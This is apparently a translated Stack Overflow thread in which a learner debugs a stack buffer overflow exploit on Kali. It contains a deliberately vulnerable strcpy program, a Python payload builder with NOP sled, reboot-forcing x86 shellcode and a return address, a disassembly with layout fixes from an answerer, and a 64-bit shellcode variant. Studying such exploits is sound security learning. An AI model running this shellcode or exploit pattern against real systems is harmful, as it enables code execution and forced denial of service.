Segmentation Fault shell 代码测试 kali 2018
Posted
技术标签:
【中文标题】Segmentation Fault shell 代码测试 kali 2018【英文标题】:Segmentation Fault shell code testing kali 2018 【发布时间】:2019-04-14 13:35:40 【问题描述】:我已经阅读了很多文章和示例,但我不知道我现在能做什么。所以,我想为这个易受攻击的程序测试一个 shellcode:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[])
copier(argv[1]);
printf("Done!\n");
int copier(char *str)
char buffer[100];
strcpy(buffer, str);
运行我的 shellcode 的脚本(强制重启):
#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip
在这里你可以看到我的shellcode被正确加载了:
来自 esp 的寄存器
我的返回地址是:0xbffff170。那么为什么我的程序不起作用?请帮帮我
【问题讨论】:
python和C脚本是如何传值的? 你是如何编译C代码的?您可能想尝试反汇编可执行文件以确保它实际上是易受攻击的。 @Shlomi Agiv 我不知道,我只是在学习教程 @Daniel Pryden 我用 -g -z execstack -no-pie flags 编译它 【参考方案1】:所以根据我的计算,这就是你的 shellcode 正在做的事情(这里是 Intel 汇编语法):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) "/sbin/reboot", "-f"
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
分段错误发生在0xbffff1b8
,尽管您可以看到操作码完全有效。那么可能发生了什么?让我们看看...
您可能会注意到有很多push
ing 正在进行。所有push
es 都会覆盖调用堆栈中的数据。确切地说,总共 34 个字节。
是的,与存储 shellcode 本身的调用堆栈相同……您是在连接这些点吗? shellcode 正在覆盖自己并破坏它自己的代码。它开始时很好,但当它到达0xbffff1b8
时,有效代码已不存在,因为它完全被其他东西覆盖了。
您需要确保padding
和eip
的总长度为 34 或更多,以便 shellcode 在开始覆盖自己的代码之前有足够的堆栈空间来工作。
也就是说,padding
必须至少长 18 个字节。
将 nopsled
的长度减少 32 个字节,以使其更宽敞,然后将这些字节传输到 padding
。这应该为 shellcode 保留足够的堆栈空间,以便在不破坏自身的情况下完成它。
而且由于eip
地址目前是shellcode开始前的44字节,所以不需要调整。
还有其他一些事情需要注意,首先,一旦 shellcode 运行完毕,它就不再关心接下来会发生什么。这意味着即使在按预期工作时,该程序也会在调用重新启动后立即崩溃。
另外,/sbin/reboot
可能需要 root 访问权限才能工作。如果这个进程没有以 root 身份运行,它不会重新启动(它只会崩溃)。
【讨论】:
对不起,我只是初学者,我不确定我是否理解正确。我的 shellcode 是 36 字节长。我在 shellcode 之前创建了 64 字节的 nopsled,在 shellcode (116-64-36) 之后创建了 16 字节的填充,并在最后添加了返回地址。所以你说的是创建32字节的nopsled + 36字节的shellcode + 32字节的padding然后返回地址?当我这样做时,我的程序在没有分段错误的情况下工作,但 shellcode 没有执行 @Shirakumo 我重新表述了我的答案,我希望现在更清楚了。 我对修改后的程序进行了新截图,请看下面我的回答。我不知道为什么它不起作用。【参考方案2】:@Havenard 我不知道我做错了什么。我已经修改了我的代码,所以现在有 24 字节的 nopsled、36 字节的 shellcode、44 字节的填充,然后是返回地址。如下所示:
我使用的是 root 帐户,所以它应该可以工作。当我使用 shell-strom 的代码时,它会正常重启我的计算机。我的意思是当我像普通程序一样编译和运行下面的代码时:
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
"\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
"\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
【讨论】:
好吧,在你的原始截图上,我可以告诉你,在这个堆栈中查看堆栈中的内容(计算从0x90909090
到0xbffff170
的字节)向缓冲区写入了 116 个字节我正在查看 104。很明显,您的有效载荷有问题。 buffer
的地址也发生了变化,这很奇怪,但它仍然可以工作。 nopsled
不应该有 32 个字节吗?好像只有20个。
@Havenard 我现在很困惑。我还发现在 32 位或 64 位虚拟机上工作时存在差异。当我按照 YT 上的教程并在 32 位系统上反汇编函数 main 时,我的结果与教程不同。当我使用 64 位系统时,它看起来是一样的,但是 esp 被更改为 rsp,所以我的返回地址是 6 字节,那么我怎样才能把它放到我的代码中呢?到目前为止,我发现只有 1 个教程对我有用,但是当我尝试编辑它时......它不起作用
在 64 位架构中,内存地址为 64 位(8 字节)。这整个 shellcode 必须改变。它仅与 32 位系统兼容。
好吧,32 位是一个垂死的平台,现在几乎所有东西都使用 64 位,即使它没有超过 4GB 的内存要寻址,但你可能很难找到学习资料对于这种 64 位的 hack。 32 位已经存在了很长时间,尤其是在黑客成为热门话题的时期,几乎所有的文献都提到了 32 位系统。
不管怎样,如果你想在 64 位上尝试,我相信这个版本的 shellcode 应该可以工作:"\x48\x31\xC0\x50\x68\x62\x6F\x6F\x74\x68\x6E\x2F\x72\x65\x68\x2F\x73\x62\x69\x48\x89\xE3\x50\x66\x68\x2D\x66\x48\x89\xE6\x50\x56\x53\x48\x89\xE1\xB0\x0B\x0F\x05"
,我没有测试过,但它现在兼容 64 位。这个 shellcode 现在是 40 字节,需要 54 字节的可用堆栈空间才能工作。以上是关于Segmentation Fault shell 代码测试 kali 2018的主要内容,如果未能解决你的问题,请参考以下文章
Segmentation Fault 错误原因总结及解决方法
Segmentation Fault 错误原因总结及解决方法